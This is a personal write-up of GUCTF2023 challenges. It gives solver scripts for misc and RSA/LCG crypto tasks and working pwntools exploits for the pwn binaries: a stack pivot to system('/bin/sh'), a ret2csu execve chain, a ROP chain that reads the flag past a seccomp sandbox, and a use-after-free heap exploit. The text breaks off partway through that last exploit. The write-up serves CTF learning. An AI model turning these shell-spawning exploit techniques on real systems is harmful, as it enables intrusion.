中国地质大学(武汉)GUCTF2023 个人wp

目录

misc

日志

vol入门

hide

其实这是一个密码题

取证

Crypto

 sign in

easy lcg

too large too close

d^eRSA

math game

baby coppersmith

PWN

tinystack

easyrop

goodday

babyheap

Web

签到(ctrl+u)

2048

你会发请求吗?(套娃版) 

简单的反序列化

uploadGIF

美丽的风景

RE


misc

日志

access.log文件,直接放http Logs Viewer

 后面一大堆,有flag_is_here和数据库语句 关键点在%3E 这里在url里面是 > 猜测碰撞flag

蓝色请求成功代表成立,flag当前字符大于后面的数,红色代表小于等于,所以就找到最小的红色的值,即是flag当前字符

拿第一个字符102->f

vol入门

常规volatility操作

 再直接搜索flag相关的文件

 导出并查看

hide

 打开压缩包伪加密,直接改掉

得到图片

有多余数据,且像是zip文件的开头将16进制倒置 ,脚本改写提取zip文件

f=open('1.zip','rb').read().hex()
f1=open('2.zip','wb')
f1.write(bytes.fromhex(f[::-1]))
f1.close()

 得到2.zip

根据提示,10个txt都很小,直接crc爆破,常规脚本

import binascii
import string

dic=string.printable #打印出字符表
crc1=0xd1f4eb9a
crc2=0x8bd26c3b
crc3=0x7d7c7f30
crc4=0x7379c6f9
crc5=0x286ddabe
crc6=0x10f1c7f7
crc7=0x20929e30
crc8=0x6d43ceb1
crc9=0xb9931719
crc10=0x9dca2d94
for i in dic:
    for j in dic:
        for n in dic:
            for m in dic:
                s=i+j+n+m
                if(crc1==(binascii.crc32(s.encode()) & 0xffffffff)):
                    text1=s
                if (crc2 == (binascii.crc32(s.encode()) & 0xffffffff)):
                    text2=s
                if (crc3 == (binascii.crc32(s.encode()) & 0xffffffff)):
                    text3=s
                if (crc4 == (binascii.crc32(s.encode()) & 0xffffffff)):
                    text4=s
                if (crc5 == (binascii.crc32(s.encode()) & 0xffffffff)):
                    text5=s
                if (crc6 == (binascii.crc32(s.encode()) & 0xffffffff)):
                    text6=s
                if (crc7 == (binascii.crc32(s.encode()) & 0xffffffff)):
                    text7=s
                if (crc8 == (binascii.crc32(s.encode()) & 0xffffffff)):
                    text8=s
                if (crc9 == (binascii.crc32(s.encode()) & 0xffffffff)):
                    text9=s
                if (crc10 == (binascii.crc32(s.encode()) & 0xffffffff)):
                    text10=s
print(text1+text2+text3+text4+text5+text6+text7+text8+text9+text10)

其实这是一个密码题

lcg线性同余生成器,给了最后的生成值,也不知道多少轮,直接反向爆破吧

from Crypto.Util.number import *
a = 43798248949659222791171749814701375251386953112778818059426142042196784729546110280265474255124784663
b = 67018570458716007311613869769415126391582798116454957736011627730476546989736915778040708658246339029
n = 58081043724391657749577883588859613199507141826304361337439670229637195787417923180006982010749851369
c = 40904849198963854815658800812526105898970794808847365812530275438442053973006314034113219522626710705

while 1:
    c=inverse(a,n)*(c-b) %n
    res=long_to_bytes(c)
    if res.startswith(b'flag{'):
        print(res)
        break

取证

[XMAN2018排位赛]file  (看别人的吧,反正我是看的)

Crypto

 sign in

提示p,q相近,直接yafu分解

考虑到这里e=5,q % e=0

根据hint:m << q ,直接在GF(q)下AMM算法

套用AMM脚本

n=156395142756741331173722757681441825750622829099903188895100381465994448733861049243997780219589816901101766037339606908045702538469475527195810709372177911586806898347545694228261031100304943359422511711442650291535090557928923472107779638478250733232925468277224748729899049485256624584502853160608972223017
c=26435013990782137269727302475711336413172439411450533367158617427147993546204648036608331513140236610831330051831415652704079371292042744901835065851232262198301028549935183570852918778701866022804033803876718286715863568756351727187631351859166144625097246667505215189671971186683551107723468405005974584717

p = 12505804362644624834300890869175599803827453330185261203101130036418605131461284688813979278780654500415381216101183394341792280200980503788940591789081677
q = 12505804362644624834300890869175599803827453330185261203101130036418605131461284688813979278780654500415381216101183394341792280200980503788940591789081421
assert p*q==n
d=inverse(5,(p-1)*(q-1))
print((p-1)*(q-1))
print((pow(c,d-1,n)==1))
import random
import math
import libnum
import time
from Crypto.Util.number import bytes_to_long,long_to_bytes
p = 0
#设置模数
def GF(a):
    global p
    p = a
#乘法取模
def g(a,b):
    global p
    return pow(a,b,p)


def AMM(x,e,p):
    GF(p)
    y = random.randint(1, p-1)
    while g(y, (p-1)//e) == 1:
        y = random.randint(1, p-1)
        print(y)
    print("find")
    #p-1 = e^t*s
    t = 1
    s = 0
    while p % e == 0:
        t += 1
        print(t)
    s = p // (e**t)
    print('e',e)
    print('p',p)
    print('s',s)
    print('t',t)
    # s|ralpha-1
    k = 1
    while((s * k + 1) % e != 0):
        k += 1
    alpha = (s * k + 1) // e
    #计算a = y^s b = x^s h =1
    #h为e次非剩余部分的积
    a = g(y, (e ** (t - 1) ) * s)
    b = g(x, e * alpha - 1)
    c = g(y, s)
    h = 1
    #
    for i in range(1, t-1):
        d = g(b,e**(t-1-i))
        if d == 1:
            j = 0
        else:
            j = -math.log(d,a)
        b = b * (g(g(c, e), j))
        h = h * g(c, j)
        c = g(c, e)
    #return (g(x, alpha * h)) % p
    root = (g(x, alpha * h)) % p
    roots = set()
    for i in range(e):
        mp2 = root * g(a,i) %p
        assert(g(mp2, e) == x)
        roots.add(mp2)
    return roots
def check(m):
    if 'flag' in m:
        print(m)
        return True
    else:
        return False

e = 5
mps = AMM(c %q,e,q)
for mpp in mps:
    solution = str(long_to_bytes(mpp))
    if check(solution):
        print(solution)

easy lcg

给了前6个连续的数

num1=90092106685061188487098602153613683384748187508467279003513560650774877299908
num2=557700820958060735650411491343254531024129787977422286147783278571981198841
num3=26501275991797325803455714097870960418786285182739413992908652810900121736196
num4=98171773751782376000100469078504674665579709037659843389529280725752616333924
num5=10465474859912710127031431405067143001439034601868241540204286471457140002763
num6=14478960129594180211193554132885640665770151257572696766298921450914588140530

 a\times (n2-n1)=n3-n2\\ a\times (n3-n2)=n4-n3\\(n2-n1)*(n4-n3)=(n3-n2)^2\ modn

再来一组同余式子就能求到n了,然后根据上面一样的推导求的seed

(n1-seed)\times(n3-n2)=(n2-n1)^2\\seed=(n2-n1)^2\times (n2-n3)^{-1}+n1\mod n

num1=90092106685061188487098602153613683384748187508467279003513560650774877299908
num2=557700820958060735650411491343254531024129787977422286147783278571981198841
num3=26501275991797325803455714097870960418786285182739413992908652810900121736196
num4=98171773751782376000100469078504674665579709037659843389529280725752616333924
num5=10465474859912710127031431405067143001439034601868241540204286471457140002763
num6=14478960129594180211193554132885640665770151257572696766298921450914588140530
#seed=
#得到的seed包上flag{}即为答案
n=math.gcd((num3-num2)**2-(num4-num3)*(num2-num1),(num4-num3)**2-(num5-num4)*(num3-num2))
assert isPrime(n)
seed=((num2-num1)**2 * inverse(num2-num3,n) + num1) %n
print(seed)

too large too close

先dp泄露解出hint

import gmpy2

e = 65537

n= 115530523110706441909979747279283408229637892838884282160206870100605868409657862412486542696904265187508497350682471738110301612065414538318989371874716350697227052563349014552162517741781326302669557799220593425291906772724435572222412159531480030308602218968708771315633359550417953584300315495397927474119
dp= 823357153050065820533356383839671991112696740687041656977067091045741022204046258511155630371437789605019293372312259425991657431857972475951700397995685
c = 16041598307371297796768388216694009917001307919536408797156404582886630809008350233909357010256593314778760804489632539390047328520958667002614791774175985453533386086196697784788679642142284580960521582879185102911046572034902364381905913115363768323599658782282507420418172601896771836056296019598407432359

for x in range(1, e):
    if(e*dp%x==1):
        p=(e*dp-1)//x+1
        if(n%p!=0):
            continue
        q=n//p
        phin=(p-1)*(q-1)
        d=gmpy2.invert(e, phin)
        m=gmpy2.powmod(c, d, n)
        if(len(hex(m)[2:])%2==1):
            continue

        print("m:",m)
        #print(hex(m)[2:])
        print("flag:",bytes.fromhex(hex(m)[2:]))

解出来 alpha=8

alpha=8
def gen_num(x):
    while True:
        x+=2
        if isPrime(x):
            break
    return x
#
p = getPrime(512)
q = gen_num(p*alpha)
r = gen_num(q*alpha*2)
s = gen_num(r*alpha*4)
n = p**alpha * q**(alpha*2) * r**(alpha*4) * s**2
e = getPrime(2048)
c = pow(bytes_to_long(flag), e, n)

p\\q=8*p\\r=q*8*2=p*8*8*2\\s=r*8*4=p*8^4\\n=p^8*(p^{16}*8^{16})*(p^{32}*8^{2*32}*2^{32})*(p^2*8^{4*2})=p^{58}*(8^{88})*(2^{32})

上面是近似关系

求得近似的p,然后在p附近爆破即可得到真正的p,然后常规RSA解法

(gen_num函数取下一个素数)

import gmpy2
from Crypto.Util.number import *
n = 46707356443343160604018031407589384665011954055204028295358021165048706462449274485534936922546560414500721360871592106711551652885754499561642226875363481004851061402921034728807657008890581141198279446216290394670764647337873732228136567777130415980280178284518253055165024691262321110817954149061894569746189979174090397254893293480798270530212823763019288467880752838986680052294787387764049629868813559426172041806816273642562087402728734491180714695996366400397816523413366473638067345685896839532966969010488276872408067337045170331556978816980157657858252211935799059186478202300602657897881360029189536301647803935553557817124990455994963545064164398669794021964420003967225637030983540697556343117789752631843149881428015004571119480895243670898532400481162537727611224762676648771349012741171932613144349664512028813387474782243478662287334229719995095597704015274404204460249083301616570835500163006030098267004612405715019829647648252858489294348900309781805160577393768611481113614580852522628986099987396621054206826743670387631851559496811940395159149541853114412826379687193401604138438281172574438476718525015633293370145512951787330177112833918384646999190377818595907857015489206004071334030724000603304878193489399323023644303936169264774111674004892731461749401621104869958848905782743979343584627958204732515542129989823192808626005097723267776191130312838199173707413882743631759679697603510792211401296207145280115939249111375852726067333042563568629473180726234737534047352997652305188450442822280499802556045636291387994743168734870290763394789282560254357522932675777805162215763047912215871198789177349471620753893998073404538911837601497249756150023567984966956558541843151263779554764547931315511335191349282293299147863597893927540057743780776164576767955292554806302737077016741034893561787839916741471864554350217428696663906270263006309044608033516389022531709063220493941330342733547728208803461462454533504672943317486463747194654984986101918110892412275581883203323442553765934939133599617200331079240887799720399132534912119862860194237913212730269389673791040905363796621360948475334947235716214395982029285082100439936894492952385872913985594039690905014510589930737138568776837222031282672647382271984836671305958475949366444973237080601209122305462403832483089534334332373917544895022921471855732236752258455693211452383147539556380575913772193768580853460977915880705842399690165045558250643002654508959602033152898207664532668895569608114664812102028651712211521858000907496964760086851002472769329517242101869101807706686172233524487370359059475784167250554265073862834684787133917623170496892433265170095916946237108956656454129029065193427657457615572979321469615572100829655232518226647798913694311969882068947625385960649740705783103315783270849504681703361444094077161374730318079881125955811380324369251214789673593232611273448613207029172951399554322981078592537254183479375048839889655346133571117848035276070284191644235363854053090695031831665128827753347369496937137743575495330637906991341883592090362614473080321583598943751841663554447446756883519560808976623862306840122168798778662344254248780068327708865928674260854154416090074545065732854613284436449406774318054287496577188943295897686827688979916525627019373298042983365705537311321420124046987613961826875397947986751213856602567446284245248933294586875905732332614895888268222305649631123077988221203832801025257240816019564094054276002587693633923905019114783689225836789920365377734015425519182156557541089333185762892446268499981124418161690772391368142117249339246044276554125117041592738286140928693322620046363108273168332693959060677442799537491261535108018660559571980467259914202221014458171919314637561229926695334417748215954193437439141276610943488361624073826460044365263830496993251025392695394125451322388853344855846792758463423750107574230510453745876556547611700771297655876182996626589410201879047978039851141853887160172761079186568591362748274398668785540479654544546279378517260091770538967115783713864831138545702708981303498146721279627837632688938608830217921824237566848416782328116367291192704678595878892214988894144728678673683830683634227584722287752047749185008255202856620416769570322088816056370322768659709750166372384820054494344139039389238415956756655211216282908049758547209358173818705135979264046558169531188664166385788723015750118581705775443473723404599226097732643226541732552871507331817567065622613543887432925953127340943276256376690347490020372969250303137500315083102936395354969682065384059368652106902337380841966988536404556915402413363473778423023903386397819335070723654928697040643440254310143058292102394491010676372663127898995832823986136180725351268637099592235943480449324853494550153249507962716734095994216615067987794129776689909896787750714572028910718041498501958867842779241321437692299308283668857501590948052750512790326322766989042466170251678116805710043960510148419092731448169323642932417245901381340996127789505718835245174352987807673595028301685178434441069969295971923511481650953103406510154280030140225384613009095729424401410696429234225726921801446423249812338366193569945926860731849330453993349376411014976636983530921201088014509769475693105506325319051863048214077549067224126131870212051006254133963867661330982089477837052494582670285937187612728889732022329286254030249310705530611129479644293135993110907596532882438266469382033563268453234334241210074761342166471198366314731049138776827868632761912966704432527011729208443746869549480834264540925212463758036539461572360256961839857250567468735217553281029569341231806965402823792548595057121884037172928394041293613006010313248076007046261285144289617660771023319620641337683853401937419145453539899602765059812797924286487413526367862343397837211335140283814924540380892427387597361002662882662121597491630904517208013102500918104507241622869545235010636513864021133519507223937391877555280823509610640083908483545416079855769481660348599380051514343367773006997746164271599596509436920694105241285821653152869832354956617953656078188096413051373750821868606141459380989005456278856751546393834117326874027571135151339997049412473915821138108020066006937038338844685591088772937699125763241365860855553490032624909642255994409283215745803089087772403054121256652197253846256770872790287650167092522849289380596813957074033654726077057480104217880835852859818869136894007834266859012470580610262277306509966682207555826254891835703355613213977153892925542220636200757930701951379549145742807196239668958298843149437878615163975302270496090938202756872454108947716553543474439025904139443485326360246329659520443463691070831693961534514718527011354660787525971471891286118012861082830767760802011604838005292815514815358532057888467154825172023916494890525325781520965068415541114900915407236204066671675167950180986608433349581099274341596346610543253491504424453827884390542361513745285022277322466010075662321914456360233587955081755399406978025803010943979823988707200760526491608089301644761076655961435085974721054662862039005953039628218766381207006498103690766091245871096455354663699639162835270457660760320302488836853212895002779759198346237701898319402489596509546925819594927055161470172912220048599866935549333234883367484030204821654051901007613454000692548084077069599713570064859352533984071407204280408994563160206355885325452731060126342505578241163069056120843165252241587712114241648012481920243554626935632850746556911460027019127560350479928222476190923856416336694592277019547563111176292610290835785207299568040806049212691682769577801434455080130083188662825787774713684440470658305373071280481062834774801480034835958466288066359960223771164361974416843222781849091725954083298123650335263957320865646440896702008000769154007122538124151878863844397333704448995140349830316512327978189952810439321415104537606862646191141252548217068628448810796103086775194059305176088799945739339352363097405382614633231301921912271726796125814622018110006265056887270210833225733433907135318187163167123867899040033576006938261562188983711760728144573703144105029660389725070515994456502431656862510500363445388663812165686285098378872767864906832786012637850411315752316731543707677239690732187626985869026965335660997935465493520699081004259117765009858516198274915403873841810346094600557543756118280786162723159015229112363470999916966333122618634693199466162611601254331769613173511341391952921508804684456898921632689440565586749859304100473973233487480041999824180190020194599597328114039422425981695424147373870617230706711439700003277193616922958130590793491523777985255457170416076237701236128032818488202772133229438007717738105461697144105108435534792813877863962753217152653192688409413989942947026205411466439394124042466199983861317976168982951279730304250165471450283477646355605621467884249544289267961296511294235679740947730251749244327953455832571945382626507072255746388113264024152718815538627705621375496683513065958045485306595729
c = 34784308986881335653255218818044088162591111924601932403685385208043645548702359281034699688039877753323517816906293641147496168568496534454476813487463312712544807282995733294033592482438068471620082196598256586353850469037136754890183813157511394032798487343680524592587324073439959315811781997951404883349839520799386554598351202156704457669386160071933106383831122641734438267743044988637335560934139631991014798974250290278396019720985255200674490264064155070923904174325267497741940523556798671059800074556157156469423855077914848501355041237627303331220328297591251135814503262219718383102742908481850779702241552569450070109768084129483518689073305978224738013651718326870349704766497290140476800561892041136150164676086442805674821498887103877291093381244002581337046950233768911722108844364532902965726123277385753947265419590936152054523939675175974209665824214601757617035535753984963102392280849891860746404098845528703959267895957226393910951717703643618771999791003662483269658638651111746795266831961385163012635649123782146445334273228891619514189400733183586582125106977669690768260008157951300093580970011189421182841382020562562793207643730724561064497809518256339265501096616299767544706392466991000399711224708812894595673798422308126974597021041237327028819027826005017451928347507493598965992261156602403931147462025431529527367365426039659870981615292698521443931019663986621683599826244410150906804204957797607964634220463876683415901329233166499099517618222357392155058444154365713964761070719640201222845441064131252332246593201267183050586223627274731588866819529287758590276932951693961252258185785439844218431680082091823593849448516749512770719193391602659379274372867730647791464661124165576143777824790321555757082732990504464987841973434545343862433369116411529067597273252086058671317170011627145522304599097471956285343223543869441519274747243902358118741843740251875882468362963366217952266027424600753816073157893292450798931109216147882359725054475865959114820837035682912546795021175448286037099752880857105971087775278614911241458921306552765613804840622877673616522396120856099264846062391153152029560176753454131323739916730803095005456291896232116538686018964259577518736361354124683186700070109269071046712335568694981653733971705027964087850860439415036984735506971161009384797972607514676441356964945355982587319912023410821228580907016375790057637860607776248163383016446285001589743353929200970686872322487584977839383695324779649171981840244218009733873144737731188250923148414826043017546652103954380434421045566937800489268878330368426695348526884062283076327930548969026098419890132724645498870624086095191037661166410860928925822598147761349030868586642437551037447363606530258213001599286504750439557594281735246970236211967825815597526699460858098174029446124841691342793911908217128752506401047725657183245492776923039952634674423699973562216786348568904517976430257742676881430027489402128529254811972970788330598120533464142831641304918773844491069814017111020665102371247718589557390650909592678819754631735851661425210483091405703468672960183487289108510873165586018272159515086461915661307607687889430720983727692888783965980513781646192277988866756316843393814937400188100626198935942535646069130045820907347564255892696730223373430314565632758656975586870069233156269486180047704904247560110815489998035092747108043076383894112547923042188081670219658973901172787704021046524996128914159235163782403724272518285382852886081947918013284690247083673863769439511284246868429851930386925045292489673159095114157715066294801152365589855906301649415569517455695651190554172626470943498868922082400802766208979856068257905547677949572348883649078067596588972175833489367271977308627637609071404928792070270829309477551380203172912765892816065237853544199960644259534992844578192943877324638506943155951042799822904930100184265344239606832225595887082554315130744882686641175241855607327442407165420395196166423332660274207584277470435397037279644294181126149876642457492695066270392042197264599341415565324748245012126638491477315647736121286695748817732431360329563122657976528758015546911159057487359601241243955103931601645493269220395489959853581049636742531190483717359430137388094605781933792171798010638760758760117529084908557574533559935903404656209983584971482752203401070702075042917994548246797275541508957444058237603100356251216048814180100516760396520918935399112518174383100236568451479761349929731767991999627794867115693508050601230971121962827876482155656785374726589425860310373524877884271178554431492660468750947603587603518722039252950793813228298494160660598130070199135362699778843361674950750602191174484934518709163683646850154061347750834907608353117125382055728053007027141320015034079889078230529182419818497363550057782492316685044807040299548188809509093576800158267087420300399029165309712462780140373618281459870212292587501151383707379869204850878095151434934848168319793005769060205310172167338120803944466376828123378975425470770815368332648588920154110238132111795601739634473364428432135059463352624113243557736559615479704254454422698560509981907424190392254121813898155520287988175689976307746127989691700814432904729464346075643515571673859974849053262326923293890056042939016006452377703788158550220284408726814448013089432166814037521450833382808537767061562380904060352315576479718738283845225379062027792739443810588069209443235469235625494183317536662469759608872722587001700776398221345414203676245480043940216983012410932069647661673082786975589936691659582052691912254989133223355523522650528338535644680267419596549945069266987689083179276388638893568691633934753667388744732834035631774875627594211611380006321380619305308192910965227854859475893387321755932503234784566627512933427967168372015620572712315603350446073984939455631619297577636432100765419903947383265163916711670153056466827262169649708038564902544019523854794411612482679577601232213237049409862445445293251962240901993716073769487111965055383371105620204652003534566194895237914186226791044843534810339872026062005603702538555422400196914654992617362722342349409512537136372818749825877133581626921214210227884584920610787801556114042360560396866108442262187390739635959014844321084678617196012659976988275518280976905397069524016816968797782203802462307811339631694547017675299208392385739190726560149060568497750378455068766420889333767895731810903149542791459464230923369414206521426727094997280142230625943601261845860762753742531206832358053808609110269420202473602492061311486974842436914093162363078366588365603090206040269594098933696791918250421927039723773032648452727187147960270333258909594884028031914938027703548688377213945536729577541570643897933856961416579039035442839733350204320822595177444625038173814827973427056277564928100590162568993444549867904083393638507866493041134559038610865143312959316277150875712073692749262216430564324265075587065993100376478895760960198667826970086039554513853639675218875618718173936739341966470451048407102376383328201648378413148235218015956199429450746112905754755274256043584431967764498892787300637367979157180611654001537946828978216629506155145053138713622575445773139586289668269500023911445184956527724605047196278570127041549078773174733981685089451700506793170763598974908328786601958646138006240077407781325068996253541840884879580695143085649864103262930275228190155466693501848352350393999221987749747565754342931330173548382447162332492037101602116938540508983951237646518223316015622874374685313378943154419118936398032523008284161999950954561791926299946403564191345762603659428809430034019659664605291921445892796542771896918931665881632314621542389145000116200933625495668671086946641745627582249340996829733409523520075707804958458360853516908045617764512058872254524501244027187978140415866804683774279789827182307232383534443659408040290216747649700676120012632466603272811282592365806875413887148231630603641025641644553322609479968518081878372194403639358250825398295963753374137115673523784970874054237619035292719561202282093596219595798843171756289011533345599029268583838561728394320485895826671409860825182813030707489632904350036262458121107360219107088183746158950428039498694480210338547362358337890615041974834421110658084006541433299390869589093992188750496179362653839833022858573628594456272648009919021956403043728111346618366292456789778767045428658480568188209871719776510467776836866291597135414876583569882190110929429394361121675720602629436298975531218934215993882436308206434501888356466944198338307148321392166628191969224594618223609165167237113427795995123106106018617555017542418666419913138748680236494031389555932606753399670944775421115103190149975533937201300422381298217699705146658141805827757052562626326517835453373044848671026669958907280216814155375418200947343546372310772264480489069483839666358042746755115714970960955528029563731551836369756791796834947404248167019466886854408542271361652893660315987507815929264934190682231285443
e = 24159838058937882046389322430790423480873816582183412870510916399668703657722259440727017874721625547091826573237211150561421252248109963512743611076528934821651143882051234229145298183745575634427784060243987557519975471797616331130756664105596474370558983945970107718496865982873571438262509992068199657054182863005958528160551287294463535336623518086966568772623772517668957143034942857412061952599570259495741120658753016627012532412049770653870735674300230038768904303396176643020490304058541269962132782969119244810713368872585732213306074586624558177795744257711461060041770954025732591641430908194746724836463
# print(1)
f=127314748520905380391777855525586135065716774604121015664758778084648831235208544136462336
assert 2**32 * 8**88==f
p=gmpy2.iroot(int(n//f),58)[0]
print(p)
while 1:
    p = p-1
    if isPrime(p):
        q = gen_num(p*alpha+1)
        r = gen_num(q*alpha*2+1)
        s = gen_num(r*alpha*4+1)
        if n == p**alpha * q**(alpha*2) * r**(alpha*4) * s**2:
            phi=p**(alpha-1)*(p-1)*q**(alpha*2-1)*(q-1)*r**(alpha*4-1)*(r-1)*s*(s-1)
            d=inverse(e,phi)
            print(long_to_bytes(pow(c,d,n)))
            break

d^eRSA

这里关键点是gcd(phi,n)=p

(ed)^e=e^e\times h\\ed\equiv 1\mod \phi\\(ed)^e\equiv 1\mod \phi\\(ed)^e-1=k\times \phi\\gcd(e^e\times h-1 ,n)=gcd(k\times \phi,n)=p

import math

from Crypto.Util.number import *
n= 803784422494351370167592813131170042963345555482165647967956492620962013217420982867541509298616048143427109418694118101975886429334668184599704528208350169952501368083389428121409963959588217864342810533458439012893022079292471592661309119780597567697815158389955245109531282084813514028430538452099738972947224500649814505038473612255356532480657940241873476885787144581357503919901873583698351869250700204237754589245567780940856354940496837340040687563379829
c= 265383216629013269176009696501594776505101990991571005345476657848573493624223343144501232451370306180351661916952909567590740719623287462598685126880672039093378374110356731020083473190112064178052477005916111265917684577730946759842186776257170720035280198867657120481263358615469612724902056646938527826723766046658609219033817714018386939011357828681408970744848467545738293842182678714991577804438839702153813546034787559747044969266005668111605453410867421
h= 526035042407827638767080948166756275192234386036611413820164089459256208443375647999045361445094296471369786663502664905640284076732752058952339829192647660913173800383398192895762385668985425950849805263399350233938962124460176299634862731357603442085158082699690846052498238666332645910480343340312000475675630022786935637468414155542306718730229191424259198734396956525322408893309190588908494415608371989374765463898410083731743334569876949949741279177413314
e = 65537

p=math.gcd(e**e *h-1,n)
q=n//p**2

phi=p*(p-1)*(q-1)
d=inverse(e,phi)
print(long_to_bytes(pow(c,d,n)))

math game

二次项展开,只剩下n^2,n,1三项

C_m^2\times n^2+C_m^1\times n+1\mod n^3=c

展开解一元二次方程

baby coppersmith

hgamectf2023的题:RSA大冒险2,level3

p = getPrime(512)
q = getPrime(512)
n = p*q
e = 65537
leak = p >> 253
m = bytes_to_long(flag)
c = pow(m,e,n)

print(n)
print(c)
print(leak)

p高位泄露,网上的板子用不了,上界不够。

看了App1e_Tree师傅的wp,这里要拔出coppersmith的源码。然后改参数。学到了新东西!

使用自带的small_roots算法p损失了低227位可以求解。

p损失了低244bit是上界,剩余(253-244)=9位即 2^9=512位,可以爆破,虽然很慢。

(可以记录一下这个方法)

​
n=155295249395108356853150695027729034147895415187101464287734860918817435168829442444576225565142824211480678129874830798802921359092852838628534450903672615612676376771266056959030865235374151244869535828010831690052146855441911726341603368502614992910374229472641078445325039583346632717397473799067913488123
c=137970875256869722271311341699733667335852658254529702796891400705307820890081266905098859171542834763717328245160797549404842884326090272807260422064978754232651057343803492482722837771271273007922964610282693631455675491782119313250470897085169769500093363383905822981645690406069033460531034221226821193699
leak=919113230093664977538171063560569888736023188943047469693793664861093757100098

def coppersmith(pol, modulus, beta, h, t, X):
    n = d * h + t
    polZ = pol.change_ring(ZZ)
    x = polZ.parent().gen()
    g = []
    for i in range(h):
        for j in range(d):
            g.append((x * X)**j * modulus**(h - i) * polZ(x * X)**i)
    for i in range(t):
        g.append((x * X)**i * polZ(x * X)**h)
    B = Matrix(ZZ, n)
    for i in range(n):
        for j in range(i+1):
            B[i, j] = g[i][j]
    B = B.LLL()
    new_pol = 0
    for i in range(n):
        new_pol += x**i * B[0, i] / X**i
    potential_roots = new_pol.roots()
    roots = []
    for root in potential_roots:
        if root[0].is_integer():
            result = polZ(ZZ(root[0]))
            if gcd(modulus, result) >= modulus^beta:
                print("p: ",(gcd(modulus, result)))
                roots.append(ZZ(root[0]))
    return roots
N = n
ZmodN = Zmod(N)
P.<x> = PolynomialRing(ZmodN)
#f = pbar + x
for i in range(0,2**9):
    print(i)
    pbar=((leak<<9)+i)<<244
    f=pbar + x
    beta = 0.50
    d = f.degree()
    epsilon = beta / 45
    h = ceil(beta**2 / (d * epsilon))
    t = floor(d * h * ((1/beta) - 1))
    X = ceil(N**((beta**2/d) - epsilon))
    roots = coppersmith(f, N, beta, h, t, X)
    print(roots)

​

得到p,然后常规的RSA

PWN

tinystack

checksec

 32位,NX保护

放ida32

简单的函数,输入两次,输出两次。溢出长度为8,  32位只能覆盖到返回地址,考虑栈迁移

第一次泄露地址,第二次布置rop链,迁移到s。

填满s,泄露出ebp地址,计算与s的偏移量。

显然偏移为0x38

有system函数,无需ret2libc,常规栈迁移

exp

from pwn import *
context.log_level='debug'
p=remote('202.114.194.178',11289)
elf=ELF('./tinystack')
system=elf.sym['system']
hack=0x804854b

p.recv()
p.send(b'a'*40)
stack=u32(p.recvuntil(b'\xff')[-4:])-0x38

payload=b'aaaa'+p32(system)+p32(0)+p32(stack+16)+b'/bin/sh\x00'
payload=payload.ljust(0x28,b'\x00')+p32(stack)+p32(0x080484b8)
p.sendline(payload)
p.recv()
p.interactive()

easyrop

checksec

NX保护

ida64打开

很显然是系统调用,栈溢出0x18个,而且一开始输入name到bss段,很显然栈迁移到name,然后布置rop链让  rdi='/bin/sh'  rsi=0  rdx=0.gadget里面没有pop rdx,这里使用ret2csu方法完成寄存器赋值,并且进行系统调用syscall

然后rax要赋值为0x3b,这里通过控制下一个read到buf为0x3b个字节完成控制。同时要栈迁移,所以可以先栈迁移到bss再填充为0x3b字节,调用execve('/bin/sh\x00',0,0)

exp

from pwn import *
p=process('./easyrop')
#p=remote('202.114.194.178',11074)
p.recv()
context.log_level='debug'

csu_one=0x40087a
csu_two=0x400860
syscall=0x40078a
leave=0x400815
bss=0x6010a0

def ret_csu(r12, r13, r14, r15, last):
	payload=b'/bin/sh\x00'
	payload += p64(csu_one)
	payload += p64(0) + p64(1)
	payload += p64(r12)
	payload += p64(r13) + p64(r14) + p64(r15)
	payload += p64(csu_two)
	payload += p64(last)
	return payload
payload=ret_csu(bss+72,0,0,bss,syscall)
print(len(payload))
p.send(payload)
#gdb.attach(p)
p.recvuntil(b'it?\n')
payload=b'a'*0x20+p64(bss)+p64(leave)
p.send(payload.ljust(0x3b,b'a'))
p.interactive()

goodday

checksec

64位,NX保护

ida64

开启沙盒

禁用execve,溢出0x50字节,布置orw读写flag。

from pwn import *
p=process('./goodday')
#p=remote('202.114.194.178',10008)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./goodday')
context.log_level='debug'

rdi=0x0000000000400843
rsi=0x0000000000400841
p.recv()
#puts(puts_got)
pay=b'a'*0x58+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x0400790)
p.sendline(pay)
leak=u64(p.recv(6)+b'\x00'*2)

libc_base=leak-libc.sym['puts']
log.info(hex(libc_base))

pay3=b'a'*0x58+p64(rdi)+p64(0)+p64(rsi)+p64(0x601200)+p64(0x40)+p64(libc_base+libc.sym['read'])+p64(0x0400790)
p.sendlineafter(b'man?\n',pay3)
p.send(b'/flag')
 

pay1=b'a'*0x58+p64(rdi)+p64(0x2)+p64(rsi)+p64(0x601200)+p64(0)+p64(libc_base+libc.sym['syscall'])
pay1+=p64(rdi)+p64(3)+p64(rsi)+p64(0x601200)+p64(0x100)+p64(libc_base+libc.sym['read'])
pay1+=p64(rdi)+p64(0x601200)+p64(libc_base+libc.sym['puts'])+p64(0x0400790)
p.sendlineafter(b'man?\n',pay1)
p.interactive()

 这里有坑点,使用open函数怎么样都不行,改用系统调用就ok了

babyheap

checksec

32位,NX保护,看名字是堆题

运行一下

 堆菜单题

new()

第一种存储方式 

rec_int_print函数rec_int_free函数int类型数据

 第二种

rec_int_print函数rec_int_free函数新申请的堆的指针
new_heap sizedatadata

free函数

 存在UAF漏洞

print函数

 先动态调试一下看看堆里面的数据怎么存的

ok跟预期一样,这里存了两个函数指针。

执行rec_str_free的时候就是执行,rec_str_free(*0x95ed160),所以这里利用UAF漏洞将储存rec_str_free函数指针的chunk空间修改为system函数,然后将*0x95ed160指针所指向的chunk空间覆盖为"bash"或者"sh\x00\x00”,然后free(0)堆快即可拿到shell

先add  chunk0(0x11)->chunk1(0x41)         #index0

再add  chunk2(0x11)->chunk3(0x41)         #index1

add(0,0x30,b'a\n')
add(1,0x30,b'a\n')
add(2,0x30,b'a\n')   #多申请一个防止与top chunk合并

再free(0),free(1)

free(0)
free(1)

bin:

0x11:chunk2->chunk0

0x41:chunk3->chunk1

然后add一个0x11大小的堆块,(一个add是申请两个堆块,一个为0x11,另一个大小自定)

申请到chunk2->chunk0             #index3

这是chunk0是可控的,然后就利用UAF漏洞修改指针,拿到shell

修改完成

拿到shell

 完整exp

from pwn import *
from ctypes import *
from LibcSearcher import *

def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
